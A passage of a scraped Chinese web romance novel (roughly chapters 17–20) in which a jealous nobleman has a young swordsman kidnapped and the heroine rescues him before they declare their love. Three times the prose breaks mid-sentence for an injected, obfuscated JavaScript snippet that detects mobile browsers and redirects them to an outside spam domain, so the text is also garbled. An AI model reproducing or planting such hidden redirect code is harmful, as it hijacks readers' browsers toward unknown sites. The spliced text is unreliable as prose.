此刻被沈美娘抱着,他佳人在怀,什么也顾不得了。 叶随收紧怀抱:“美娘,我一定会让爹爹把你送给我的。” “好,奴等着那一天。”沈美娘柔声应道。 在叶随看不见的地方,她的目光却依旧淡漠。 讨要她吗? 叶随怕是永远都别想办成了。 叶司马把她从十二岁养到十八岁,可不是什么好心肠,而是有大用途。 一个儿子而已,怎么比得上他的仕途呢? 临别时,沈美娘又给叶随送了一个荷包:“二公子,奴只愿你好就可以了。” 叶随一步三回头,承诺:“美娘,你等着我。” “好。”沈美娘笑着点头。 叶随注意到沈美娘身边的宋江江。 即使他站在伺候沈美娘的侍女身后,叶随还是不喜欢这个人的存在。 尤其是他想起他今日来时,看到沈美娘抱着裙摆,和这人说话时的场景。 沈美娘居然对他笑了,她居然对一个卑贱至此的护卫笑了! 那种笑是沈美娘都从来没对他露出过的笑容。 叶随骑着马从竹舍离开后,唤来小厮:“那个宋江江是良籍?” “是。” 是良籍就不好办了,若是贱籍还好做…… 良籍的话,处理不好,说不定会吃官司。 可一想起那个男人碍眼的存在,叶随心中就妒火肆虐:“去帮我做件事。” 他要让这个宋江江从沈美娘身边永远消失。 - 可能是发高热的缘故,沈美娘连着好几日胃口都不好,更别说宋江江做的不是粥就是什么汤的。 宋江江这日给她送了饭,她吃了两口就不想吃。 想到粮食来之不易,沈美娘最后还是勉强把它吃完了:“宋江江,你晚上给我少盛点。” “吃的太少对身体不好。”宋江江道。 沈美娘毫不犹豫摇头:“可是你盛太多,我吃不完倒掉实在太可惜了。” 宋江江煮面耗食材沈美娘能忍,反正最后都是进肚子里。 偶尔吃不完的剩饭剩菜拿去喂鸡鸭也行,可是这么明晃晃的浪费她忍不了。 “不行。”宋江江还是拒绝。 多盛点倒掉也可以拿去喂鸡喂鸭,让沈美娘尽量多吃点才更重要。 沈美娘皱眉。 她最讨厌浪费粮食的人,忍不住道:“宋江江,你知道耕田犁地多累吗?你知道一场倒春寒就能让全家人的辛苦白费吗?你知不知道一碗不起眼的白粥,是多少人一辈子可能都吃不上的东西?” 宋江江听到沈美娘的话,才真正知道自己错在何处。 “沈娘子,对不起,我不知道你说的这些,我以后不会了。”宋江江诚恳道歉。 沈美娘挑眉:“好吧,看你认错态度好,那我就勉强原谅你吧。” 宋江江又好脾气问:“那你有没有什么想吃的、合你胃口的?你和我说,我去给你做。” “我想吃辛辣的,你能不能做烤肉给我吃,我想吃烤肉了!”沈美娘满眼期待。 宋江江毫不留情拒绝:“不行。” “那做糖葫芦可以吗?我想吃甜的!” “也不行。” “核桃酥山!” “那种冰的凉的,你想都别想。” 沈美娘撅了撅嘴:“哼,这也不许,那也不行,不就只有粥能喝呢?” 她抱住宋江江的手臂撒娇:“小剑客你最好啦,你就给我做点好吃的嘛,我真的好得差不多了,可以吃那些东西了!” 见宋江江不为所动,沈美娘眼珠滴溜溜转了一圈:“那你去给我捉小螃蟹吧?” “小螃蟹?”宋江江像是不知道这种东西怎么吃。 “对啊!”沈美娘比比划划,“我小时候我爹经常到小溪边捉小螃蟹,拿回来炸了蘸椒粉就吃,嘎嘣脆!” “也可以把螃蟹和蛋黄舂碎,做成酱,吃汤面、喝粥都可以就着吃。”沈美娘给宋江江解释。 农家人不好过,想吃肉又吃不上的时候就喜欢这么做。 宋江江闻言思考了一下,摇头拒绝:“螃蟹性寒。” “我好想家啊,我也好想我娘呀,以前我生病我娘都会给我做的,我病都要好了,我就是……”沈美娘说哭就哭。 宋江江也拿沈美娘没办法:“我给你做。” 沈美娘心中狂喜,面上拼命憋着笑。 “不过……你今晚得多吃几口。”宋江江道。 好啊,宋江江都学会讨价还价了。 不过嘛,也不是不能接受。 “小剑客,你这还没和我成婚,就管我这么严呢?以后咱俩真成婚了,我岂不是得被你管死。”沈美娘挑了挑眉。 宋江江听到这话一时没反应过来:“成婚?” “对啊,我那日不是答应你了吗?”沈美娘回想了一下。 宋江江垂下眼睫。 他那日他看沈美娘和叶随相处那般亲密,还以为是她拒绝自己的意思。 原来不是吗? 沈美娘:“我知道了,你该不会以为我喜欢叶随吧?” 也没有。 宋江江知道沈美娘不喜欢叶随,甚至很是厌恶那人。 他只是以为她是在委婉地拒绝自己。 “可是沈娘子如果答应与我成婚的话,为何还要与叶随那般呢?”宋江江不解。 沈美娘脱口而出:“为了荣华富贵啊!” 她练习歌舞、学习礼仪、勾\引男人,一切的一切,都是为了荣华富贵、出人头地。 这是什么很难懂的事情吗? 宋江江:“可是就算是为了荣华富贵,也不一定要靠男人,你可以去经商,去参选宫女……” “我是贱籍。”沈美娘打断了宋江江剩下的话,“宋江江你是不是真的在仙宫里长大,不知道贱籍是什么意思?” “现在这条路,就是对我而言最好的一条路。”沈美娘道。 宋江江锲而不舍:“可是有贱籍为巨商,再捐资换良籍的可能,不是一定要靠攀附他人……” “那先帝的文昭皇后也是贱民出身呢?难道天底下的贱民都能做皇后吗?”沈美娘反问。 不知为何,听到这句话,宋江江诡异地沉默下来,没再和沈美娘吵。 半晌,他说的居然是:“你怎么知道文昭皇后就高兴呢?兴许,她宁愿做贱民,也不想当皇后。” “不想当那就让别人当。”沈美娘直接翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955328|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个白眼:“再说,你是文昭皇后,还是你是她肚子里的蛔虫,你就知道她怎么想的?” 宋江江听到她的话,突然红了眼眶。 这下倒让沈美娘不知所措了。 她也没骂宋江江啊?他怎么突然就一副被自己伤透心的样子。 宋江江不再和沈美娘吵,默默拾起碗筷推门走了。 沈美娘看他又是那副蔫蔫的模样,心里有一点担心。 但她就不是低头的人。 沈美娘躺床上想倒头就睡,却怎么也睡不着。 小剑客的性子不该是那么容易生气的人? 就因为她攀附男人他就生气,嫌她没骨气,嫌她没出息? 哼,既然这样,那个小剑客她也不喜欢了。 沈美娘在床上昏昏沉沉躺了一整天。 到了饭点,来给她送饭的不是宋江江,是宝儿。 “宋江江呢?”沈美娘喝了几口粥。 粥应该是宋江江熬的,宝儿做不出这么好吃的粥。 真跟她闹脾气啊,说他几句就连饭都不给她送了。 宝儿:“宋少侠把粥煲好,就出去了。” 沈美娘搅弄勺子的手一顿:“啧,也太禁不得骂了吧?不就说了他两句嘛,就生气跑了。” 这就提剑走人了。 就这样还大言不惭说要娶她。 “你们又吵架呢?”宝儿意外,“人家宋少侠剑都没拿,就拿了木桶和渔网出去,我还以为他去打渔了。” 哦……啊? 宋江江这是去给她捉小螃蟹了。 那看来小剑客就是没生气,至少没那么生气,又或者生着气也会去帮她捉小螃蟹。 好吧,看在他这么乖的份上,等会儿他回来,她还是好好哄哄他好了。 宋江江不在,沈美娘也没那么矫情,几口喝完粥就把碗递给宝儿。 可是等到入了夜,宋江江还是迟迟没回来。 宋江江这是跑了多远,他就算跑到南州城里现买,都该回来了吧? “娘子,你身子还没痊愈,还是进去等宋少侠吧。”青词给沈美娘披了件衣裳。 沈美娘却总觉得哪里不对。 宋江江想法幼稚,人可不傻,不至于捉个螃蟹捉这么久。 沈美娘回想这几日的事情,忽然想起叶随那日踢他那脚。 叶随不是个好心肠的,宋江江又与她走这般近…… “不好,宋江江有危险。”沈美娘反应过来。 她拉上青词就跑,宝儿想跟过来,沈美娘连声阻止:“你别去,就守在家里等我们。” 如果真的是叶随动的手,就不能把宝儿搅和进来。 宋江江对芙蓉谷并不算熟悉,最多也就是去赵娘子家送送东西。 那他知道的芙蓉谷有溪流的地方,很有可能就是那夜她给他跳舞的地方。 “娘子,你慢些。”青词不住劝着。 沈美娘却浑然不觉,她跑得很快,即使被乡间野路上的枝桠、藤刺割破血肉也没停下脚步。 等她赶到小溪旁,看着地上明显的打斗痕迹,和四分五裂的渔网和木桶时,心下顿时就有了答案。 “这……宋少侠是被二公子带走了吗?”青词担心。 沈美娘蹲在地上,辨认湿泥上的脚印,鞋印的纹路她很熟悉。 这是司马府上侍卫们的鞋子留下的。 “对。”她道。 沈美娘的手落在泥上暗红色的痕迹。 她知道这是血,但这是其他侍卫的血,还是宋江江的呢? 沈美娘在溪水里洗了洗手:“走,去救宋江江。” 青词看她这样,没有笑,也没有生气焦急。 看起来沈美娘像是没有多在意宋江江。 但青词上次看到沈美娘这样——是她被送给叶司马的前一晚。 沈美娘……原来竟这般在意那个小剑客。 18. 第18章 宋江江是被叶随的人捂住口鼻,迷晕带走的。 他今日没带剑,又不想打翻好不容易才抓到的小半桶螃蟹,结果却被那些抓他的人给打翻了。 都怪这些人以多欺少,还使阴招用迷药,不然就算是赤身肉搏,他也一定能赢。 等再醒来时,宋江江整个人都被绑住了手脚。 药效还没完全褪去,他眼皮都只能虚虚掀开一点,好在他能听到来来往往说的话。 这里好像是个私下买卖人口的黑市点。 他前些日子进城报官时,那官差不是和他说,那黑店略人的同伙全都抓住了吗? 这南州城是什么豺狼虎豹都盘踞在这里吗?怎的这般多恶人,像是抓不完般。 “这人是良籍,还是男丁,卖了会不会惹什么麻烦?” 宋江江听到那些人嘀嘀咕咕的声音。 “怕什么?就是个护卫罢了,也没什么亲人。这些年不是叶家关照,你们以为你们这些勾当能做到现在?” “是、是……那等天亮,正好出海的商队那边说是差人。” “管你卖到何处去,反正尽快把人弄走就是。” …… 宋江江从这些人的的对话里,很快弄明白了这事十有八/九都是那叶随做的。 他不能坐以待毙。 待药效又轻了许多后,便往在打瞌睡的守卫那边挪去。 他一个跃身就将对方踢晕,立刻用他的剑割开了手上的绳子。 外面的人果然立刻围了进来,宋江江这才发现站在最前面的人,就是之前那家黑店的老板。 宋江江:“是你!” 那黑店老板也是一惊,瞬间又被怒火冲昏头脑:“你这小子几次三番坏我好事,看我不给你点颜色瞧瞧。” “上次在官衙叫你侥幸跑了,这次,可没那么好运气。”黑店老板冷笑。 宋江江这才明白,上次那官差的什么“那些姑娘想亲自言谢”都是假的,那时怕是就想去通知这背后之人捉拿自己。 幸好他素来做好事不留名,才逃过一劫。 这黑市明显是这些人的老巢,人比上次在黑店还要多,宋江江很快败下阵来。 就在宋江江有些体力不支时,突然有人新的一拨人杀入其中。 领头的那个人他认识——是沈美娘身边那个沉默寡言、精通医术的青词姑娘。 沈美娘这是来救她了……吗? 可是青词带的这些人,不像是叶家的护卫。 沈美娘果然如他之前在诗会上猜测的那般,决不仅是叶司马府上一个奴隶那般简单。 沈美娘的人很快占了上风,将整个局面控制住。 等兵戈声停止,沈美娘才徐徐走进来:“叶六,你对叶家人还真是忠心。” 她面色平静,但宋江江从她的语气和动作里,都能感觉到沈美娘对这个地方的讨厌。 这里汗味混杂着血腥味的地方,爱干净的沈美娘肯定很不喜欢这里。 叶六没想到宋江江一个普通护卫,居然会有人护着:“你是谁?” “他是我的人,你说我是什么人?”沈美娘反问。 叶六眼里闪过一丝惊慌,随即笑着打哈哈:“原是叶家的娘子,那咱们不是一家人吗?这人没少坏我好事,叶娘子,你说他是不是该罚?” “我是沈美娘,不是什么叶家人,你也别给我来这套。”沈美娘将叶六一脚踹到地上。 她从小就喜欢跳舞,十二岁以后更是跟着南州城最好的舞姬学跳舞。 她真下死手,一脚把人踢到这辈子下不来床都是可以的。 沈美娘踩着叶六的脸质问:“今夜是谁授意你把他捉来的!” 叶随:“是、是……” “不说是吧?”沈美娘加了力道,“那你今日就代那人死吧。” “我说、我说!是叶随叶二郎。”叶六哆哆嗦嗦招了。 果然是他。 沈美娘这才抬脚,却还是觉得心里那口气不顺。 这个叶六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965581|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仗着叶家庇佑,没少干伤天害理的事,叶家也没少拿他孝敬的钱财。 沈美娘从前不多管闲事,但欺负到她身边来了,她就不会善罢甘休。 “你拐过不少人吧?”沈美娘蹲下阴恻恻问。 叶六不知道她问这话什么意思,点了点头,又急忙摇头。 沈美娘笑道:“你既然只会做这种坏事,那我看也不必活着了。” 她伸出手,青词心领神会地将刀递给她。 沈美娘正准备手起刀落,了结了这畜生,却被人抱住手:“美娘,你不要这样。” 她侧过头,看到宋江江死死拽着自己,而他脸上都还尚有刀刃留下的伤,正血淋淋往外渗血。 “他都这么欺负你呢?你不想报仇吗?”沈美娘不解。 这个宋江江到底是哪里长大的。 他既不信佛,也不崇道,哪来这么多悲悯之心? 宋江江摇头:“他犯了错,会有律法审他,不该动用私刑。况且,若是杀了他,那不是证据也更少了吗?留着他,想寻已经被他卖掉的人也容易些……” “还有……”宋江江握住沈美娘握刀的手,一字一句道,“美娘,我不想你为了这种人脏了自己的手。” 沈美娘听到宋江江的话,沉默了片刻,就将刀扔回给青词。 她定神打量宋江江,见他即使脸上沾了血,眼神也仍就清明澄澈。 似乎是不想她担心,还拼命笑得眉眼弯弯。 “宋江江……”沈美娘伸手擦去宋江江脸上的血。 看到少年的脸又变得干干净净,她无奈认命般笑了笑:“你果然是我冤家。” 宋江江反握住她的手,脸贴着她的手蹭了蹭,笑得愈加开怀。 “不是冤家,我和沈美娘天生一对,是天作之合。” 这个话沈美娘听得懂,说书先生总喜欢用这两个词形容那些故事里的有情人。 她粲然一笑:“这话我倒爱听。” 宋江江和她就是天生一对。 19. 第19章 沈美娘将剩下的事都交给赵大郎和青词处理,她和宋江江先回芙蓉谷去了。 此时还是宵禁时候,进城时是青词带她翻的墙,出城时宋江江又带她翻墙出来。 沈美娘瞧宋江江动作干净利落,颇为欣赏:“小剑客,你还真是一身本事。” 什么都好,不愧是她沈美娘看上的第一个男人。 宋江江有些害羞地低头:“我哪有那么好……” “就是很好!”沈美娘总是很会夸人:“会识文断字、会武功轻功、会做饭洗衣,这不是就很好了吗?” 宋江江听到这话不好意思地挠头。 原来在沈美娘眼里,他居然这般好。 宋江江垂下眼,想起些让他不高兴的回忆:“我爹就不喜欢我,他说我不肖父,还说如果把家业传到我手里,肯定会被我毁掉。” 沈美娘早就发现宋江江不怎么提到他爹,就算偶尔提到也很是讨厌的样子。 结合宋江江说他爹娘和离的事,沈美娘确信宋江江他爹不是个好东西。 沈美娘安慰他:“你爹说的就一定对吗?小剑客你要不内耗才行,就算一千个人都说你不好,你也不要听。” 她自信道:“我就从不听旁人说的话。” “他们说我是猫鬼、祸水,那是嫉妒我好看;说我不守妇道,那是羡慕我大方自在爱活动;就算说我勾引男人……” 沈美娘说到这里停下话来,眼里满是不屑:“要是皇帝、丞相什么的好龙阳、喜娈\童,那些衣冠楚楚、瞧不起我的郎君们啊,说不定脱裤子比我解衣裳还快呢!” 宋江江盯着沈美娘。 眼前的姑娘总有种魔力,只要她说话,就让人的目光全落在她身上。 沈美娘是如此自信、恣意,闪闪发光,让人不由自主就被她鲜活的生命力吸引。 “所以!”沈美娘抓住宋江江的手,与他四目相对,“小剑客,你千万千万不要内耗!唔……你要外耗!你爹爹他是天王老子吗?就算他是,也不用听他的!” 沈美娘坚定重复:“你就是很好!” 她一看就很聪明狡黠的狐狸眼,此刻难得被简单明了的喜欢填满。 宋江江回握住沈美娘的手,应道:“嗯!” 回去的路上,宋江江驾着驴车。 他知道沈美娘今晚劳累了,脱下最外面的衣裳披到她身上:“沈娘子,还要些时候才能到家,你先躺着睡会儿吧。” 宋江江知道沈美娘宝贝她的漂亮衣裳,直接叫她躺下,她肯定会嫌驴车脏。 裹着他的衣裳在外面,沈美娘就不用担心弄脏她的衣裳了。 “不要。”沈美娘把衣裳披回宋江江身上,“我不困。” 这个小剑客真喜欢逞能,就算夏夜算不得冷。 可是他驾着车,只穿薄薄的两件衣裳,说不定就受凉了。 她好不容易把人从黑市救回来,可不想他又生病。 宋江江还想推脱,沈美娘却已经转移了话题:“小剑客,你刚才说你家有家业?” “是。”宋江江道。 沈美娘来了兴趣:“什么家业?你爹做什么的?” 宋江江听到这个问题难得的迟疑了一瞬。 他不想骗沈美娘,可是他的真实身份很有可能会给她带来麻烦,况且……他本来就不打算继续做皇帝“姜颂”了。 他只想做侠客“宋江江”。 “我爹出身官宦世家,是做的大官。”宋江江语气迟疑。 “大官!”沈美娘两眼直放光,“多大的官啊?比刺史还大吗?” “嗯。” “那是不是也比尚书大?” “是。” “那和丞相比呢?” 宋江江听到这句话愣住,半晌,还是点了点头。 沈美娘这般聪慧伶俐,应该能明白他的言下之意吧。 谁知沈美娘看到宋江江还是点头,反而拍了他一下:“小剑客,你当我好哄啊!” “这世上可没有比丞相还大的官了!”沈美娘一副看穿一切的眼神,“你爹爹应该就是个小官吧,不过也没关系,我不嫌弃你。” 若是放在几月前,沈美娘肯定会认为宋江江来历不凡。 可是宋江江这么单纯善良,怎么想都不会是那些复杂高门里的孩子。 宋江江这明明就是少年人想在喜欢的人面前得脸,才夸大父亲的官位。 又或许,宋江江也不知道多大的官才算大官。 说不定和她小时候一样,以为寨子里的族长,就是全天下最大的官了! 宋江江还想辩解,沈美娘却抢先一步开口:“正好,我也不喜欢那些高门子弟。” 听到沈美娘这句话的宋江江沉默,试探问:“为何?” “因为他们都看不起我!”沈美娘毫不犹豫。 她又道:“你以为叶随是喜欢我吗?才不是,他只是看上我的身子,只是喜欢我的脸而已,但他根本就看不起我,也从来没把我当人看过。” “不只是他,叶司马、裴夫人……他们都把我当一只鸟、一条狗、一件将来会送给权贵的礼物看的,但是没人把我当人。”沈美娘纤长的眼睫颤了颤。 “我十二岁时第一次来月事,我疼得死去活来。可是那时候叶司马也不重视我,下人们也苛待我……”沈美娘抱着膝盖,很平静地叙述,“只有宝儿的娘叶大娘不忍心,给我端了一碗红糖水。” 宋江江听到这句话心弦颤了颤。 原来沈美娘待宝儿好,仅仅只是为了一碗红糖水吗? “你是不是觉得红糖水不值钱?”沈美娘像是猜到了宋江江的想法,“不是的,寻常人家得先填饱肚子不被冻死,才会买糖的。” 沈美娘目光平静:“但叶随那时候会欺负我。他以为我是他爹日后的小妾,就故意让人往我的饭里掺石头草灰,逼迫我在一大群世家公子哥面前跳舞。” “当时整个南州城的贵公子都在,但他们也没有一个人会可怜我,都把我当逗乐的玩意儿。”沈美娘突然莞尔一笑,“从那时起,我就知道——” “那些高高在上的王孙公子,是不把人当人看的。” 沈美娘眼里一闪而过恨意。 她后知后觉发现自己已经揉捏了自己的裙角很久了。 宋江江将车停下,握住她的手。 他想安慰沈美娘,却发现在她讲述过往后,什么言语上的慰藉都显得苍白无力。 沈美娘先笑开:“没关系的,都过去了。” 不是的。 她记得每一份恨意,也从未放下。 她想剜下那些凝视她的眼睛,想割掉那些调戏她的舌头,想让他们也体会到被羞辱的滋味。 不过……沈美娘不想让这些阴暗的想法被宋江江知道。 会吓到他的。 “沈美娘。”宋江江第一次喊了她的全名。 沈美娘一时有些没反应过来。 “你不用强颜欢笑。”宋江江红了眼眶,“至少在我面前,你永远不用。” 沈美娘听到宋江江的话,脸上的笑意渐渐褪去。 她也没哭,亦或是感动,只默默看着眼前的少年。 宋江江突然抱住她,应该说是用尽全力般紧紧拥抱她,像是要将她揉进骨血般。 “沈美娘,我昨日也不是生你气。”宋江江解释。 “我确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975689|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实不想你对叶随那么笑,也不想你对任何男人那么笑。”宋江江闷闷道,“但我想了很久才明白,我不是吃叶随的醋,也不是对你的占有欲作祟。” “我是不想你笑不由心,我想你自由,我想你快乐!”宋江江道。 沈美娘听完宋江江的话疑惑偏头:“什么是自由?” “自由……自由就是你可以随心而活,身不快不必强饮,心不乐不必强笑。你也不是物品,你不属于任何人,你是个人,是个想怎么活就怎么活的人!”宋江江道。 他其实也是自己从札记里总结的。 但娘亲世界的“自由”应该……是这个意思吧? 沈美娘听完宋江江的话,默了许久,方笑出声:“小剑客,这也是你娘那个世界的道理和词儿?” 她看到宋江江又点了点头。 “真好。”沈美娘感叹道,“你娘亲那个世界,我都想去了。” 真是比这个烂透了的人间,好上千倍万倍,叫人羡慕至极。 “我也要和小剑客你说句对不起,”沈美娘难得和人低头,浑身都不自在,“如果那个文昭皇后,她也懂什么是‘自由’,向往‘自由’的话,那她当皇后,确实挺可怜的。” 宋江江愣住。 他从小听过最多的关于他娘的话,就是说她不知好歹。 明明父皇为了她废元后、杀亲子、斗世家,把她都捧到高位了,为何她还是不满意。 这是他第一次听到有人说,她娘是可怜的。 但……宋江江也意识到沈美娘不是她母亲家乡的人,甚至可能和那里毫无关联。 不然她不会连“自由”这个词语都不知道。 宋江江看着沈美娘眼里真切的歉意和同情。 可就算沈美娘不是那个世界的人又如何呢? 他们其实都不是那个世界的人。 可他们可以听懂彼此说话,也愿意听彼此说话,这就已经足够了。 驴车重新启程,天已将明,空气格外清新,两人都觉得心情格外舒畅。 沈美娘的鬓发被风吹动,她恬淡温柔地偏过头看宋江江。 宋江江有些不自在:“你看我做什么?” 沈美娘在撩人这件事上得心应手:“看我的心上人,怎么就长得这么合我心意。” 她话音刚落,宋江江就如她预料地红了脸。 沈美娘笑意更深:“宋江江,我可是给你通融了哦。” 宋江江:“什么?” “在我的家乡,男孩子都得会用木叶吹情歌,以叶为媒才能博得女儿芳心。难道你会吗?”沈美娘问。 木叶吹奏情歌?这怎么可能呢? 宋江江摇头,正想和沈美娘说他可以学,就听到沈美娘清脆的笑声:“不过嘛,看在你除了不会用木叶吹情歌,别的都还不错,就宽容宽容你啦!” 天尽头翻出微微的白,沈美娘脸上的笑意也能看得愈加清晰。 这次不再是讨好的、被迫的、习惯了的笑意,而是沈美娘真的很欢喜。 她仰起头,大声唱起家乡的歌: “大山的木叶烂成堆,只因小郎不会吹,几时吹得木叶叫,只用木叶不用媒。 高坡上种荞哪用灰,哥妹相爱哪用媒,用得灰来荞要倒,用得媒来惹是非……”① 宋江江能听出来,这是沈美娘上次跳舞时哼的调调。 这次她没有用乡音,是用官话唱的,宋江江也大致听懂了这首歌的意思。 他不会唱歌,只在沈美娘停歇的空隙,答了一句:“哥妹相爱不用媒。” 沈美娘得到回应,笑着继续唱歌,她的歌声嘹亮干净,天也伴着歌声渐渐亮堂起来。 20. 第20章 宋江江身手确实还不错,他身上没什么大伤,就是脸上和小臂上有一些浅伤。 沈美娘本就不是在意什么名节的人,如今两人又算挑明了心意,她当然包揽了给宋江江上药的活。 她给宋江江的脸上擦药,忍不住道:“我就该给那个叶六的脸上也来几刀。” 宋江江这张脸这么好看,如今受了伤,都没以前好看了。 还好青词说,好好用药不会留疤,不然她一定要给那叶六的脸划个稀巴烂。 就是不知道这小剑客怎么搞的,这前被追杀受的重伤好得挺快,这些小伤反而好的慢得很。 感觉他身体像是时好时坏一样。 宋江江知道沈美娘是关心他,笑着安抚她:“没事的,很快就会好。” “还是说,如果没有这张脸,沈娘子就不喜欢我了吗?”宋江江垂眸。 糟糕! 沈美娘这才想起来宋江江是内耗王者。 她连忙“呸”了两声:“怎么会呢?小剑客,我又不是只喜欢你的脸。” 虽然她确实也很喜欢这张脸就是了。 “小剑客你有颗金子一样的心,”沈美娘抱紧宋江江的腰身,“我喜欢的是你这个人。” 沈美娘在宋江江怀里蹭了蹭。 宋江江身体紧绷了一瞬,但没有再像从前那般愣在原地,而是回抱住她。 沈美娘动作轻柔,语气却故作嫌弃:“不过你以后要注意,不要再受伤了。药味好重,熏得我有点难受。” “对……”宋江江下意识想道歉。 沈美娘抬头捂住他的嘴:“不要总说‘对不起’,你怎么总说对不起?” 她想出个好办法:“这不是个好习惯,唔,这样吧……以后你想说‘对不起’,就说‘滚’。” “这样不合适。”宋江江道。 “有什么不合适的!”沈美娘挣脱宋江江的怀抱,负手看他,“宋江江,脾气太好的话,谁都会欺负你,就得狠一点才好!” “你和我学。”沈美娘双手叉腰,横眉冷笑,“滚!” 宋江江看她这样的表情不由呆住。 他发觉沈美娘的一举一动都很吸引她,即使她冷冰冰的模样,自己也一点都不讨厌。 沈美娘以为他是不愿意:“你不学吗?” “滚……”宋江江小声道。 “不够有气势,要大声一点。”沈美娘重复刚才的语气,“滚!” 宋江江深吸一口气:“滚。” “不对不对,不要那么字正腔圆,你又不是教书先生!”沈美娘摇头。 宋江江仔细回想刚才沈美娘的表情动作,还有她教他的要领。 他又想起父皇还在世时训斥臣子的场景。 宋江江敛了敛眸,眼中的笑意被薄怒取代:“滚。” “这就对了!”沈美娘很认真地品评,“声音还是不够大,但是气势很足,要不是我了解小剑客你,我都被你唬到了。” 沈美娘这话不是随口一说,她刚才是真被宋江江吓到了。 她平常自视甚高,也从不认为自己低贱,但久居上位的那种威严她还是模仿不好的。 宋江江刚才的神情和语气,却真的很像那些衣不染尘,不知人间疾苦的贵公子。 “真的吗?那就好!”宋江江听到沈美娘的夸赞立刻笑弯了眉眼。 沈美娘收回刚才的想法。 宋江江……果然还是更像条傻狗。 真的很像她在家乡养的那条大黄,稍微揉揉头陪他玩玩,就会高兴得狂摇尾巴。 沈美娘替宋江江刚擦好药,就听宝儿和她说是叶随来了。 她并不意外,冷静吩咐:“你和二公子说,我还在打扮,还需要些时候才能与他见面。” 前几日她救宋江江时,就知道就算她让青词拿身家性命威胁叶六,让他不敢把实情全盘托出,叶随也肯定会起疑。 沈美娘打开衣柜:“你进去躲躲。” 宋江江看了她一眼,颇为担心:“沈娘子,你可以吗?我……” “没事!叶随很好哄的,你快进去就是了。”沈美娘倒是一点也不担心。 宋江江刚躲进衣柜里,叶随就推门而入:“美娘,我实在是等不及想见你了。” 沈美娘不算惊讶,她知道叶随不会听话等她。 她迎上去:“二公子,怎的又来奴婢这里呢?这若是叫主母知道了,奴婢怕主母训斥公子。” 叶随看沈美娘满心满眼都是她的样子,原本对这人带走宋江江的怒气消散了不少。 美娘的心里就只有她一个人,怎么可能会爱上那么个无权无势的护卫呢? 叶随语气柔了不少:“我听叶六说,你把那宋江江带回来呢?” 沈美娘叫叶六告诉叶随,她是在清晨赶到南州城内救下的宋江江,至于那晚青词和赵大郎等人,叶六一个字都没和叶随提。 叶随只当是宋江江给沈美娘留了线索,叶六等人做事手脚也不够快,才让宋江江逃过一劫,并不知道沈美娘手里有听命于她的人。 但他还是相当介怀沈美娘居然这般看重那宋江江。 “对。”沈美娘柔柔笑着,看起来善良又温柔,“那姓宋的是青词远房亲戚,奴是没有什么亲人了,却想青词能有个亲戚照应。” 她像是松了口气般:“幸好那日赶上了,不然若是真叫他被卖了,奴实在是对不起青词。” 叶随听到沈美娘的话放下心来。 唉,世间怎么会有沈美娘这般好心的姑娘,对谁都如此满是善意。 饶是他浪迹欢场多年,也不由真心怜惜沈美娘。 叶随抱着沈美娘感叹:“美娘,你……唉,不过就是个奴婢和她打秋风的亲戚,你何必如此在意。” 还是怪他的美娘实在太好心肠了。 叶随不生沈美娘的气了,但还是看那姓宋的不顺眼:“那宋江江自己是护院还会被人掠走,我瞧着是个不中用的。美娘还是把他打发走才是。” “可他毕竟是青词的亲戚……既然公子不喜欢,那我改日打发他走就是了。”沈美娘蹙眉道。 叶随就知道沈美娘肯定最爱他。 什么青词、什么姓宋的,美娘才不会为了他们,来惹自己不高兴。 美娘这般体贴他,为他着想,真是比他府中妻妾加起来都好得多。 叶随想起来今日来这里的另一件事,握住沈美娘的手:“美娘,我想了个好法子,咱俩终于可以在一起了。” 沈美娘眼神一亮,像是很好奇:“难道公子是说服主君了吗?” 她当然知道叶随不可能说动叶司马,不由好奇叶随是又想了什么法子。 叶随讪讪一笑:“爹爹那边我实在是无能为力。” 他实在不明白父亲为何在沈美娘这件事上会顽固至此,就是说什么都不肯将沈美娘给自己。 “但是美娘你可以假死,我让人给你做个良籍身份,到时候等你怀了我的孩子,爹爹肯定会点头的。”叶随道。 沈美娘听到叶随这个“好法子”,心中哂笑。 但她面上还是要站在叶随那边否定他的“好法子”:“二公子,以贱冒良可是大罪,若是被人知晓,奴婢死不足惜,可是万一连累您和叶家怎么办?” “府上知道我真实身份的人众多,恐怕很容易就会走漏消息。”沈美娘提醒叶随。 这个叶随是真的没想到这层吗? 沈美娘不相信叶随会蠢到这个地步。 无非是叶随根本就不在意,等他玩腻了自己或者事情东窗事发,只要杀了自己来个死无对证就好。 叶随被沈美娘这么一说,也知道不好再劝下去。 只怪美娘太为他着想了,才会把事情想得这般深,让他的计划落了空。 沈美娘又劝慰了叶随一番,才让他放心离开。 叶随知道沈美娘为他这般着想,那他就只能再去求他爹了。 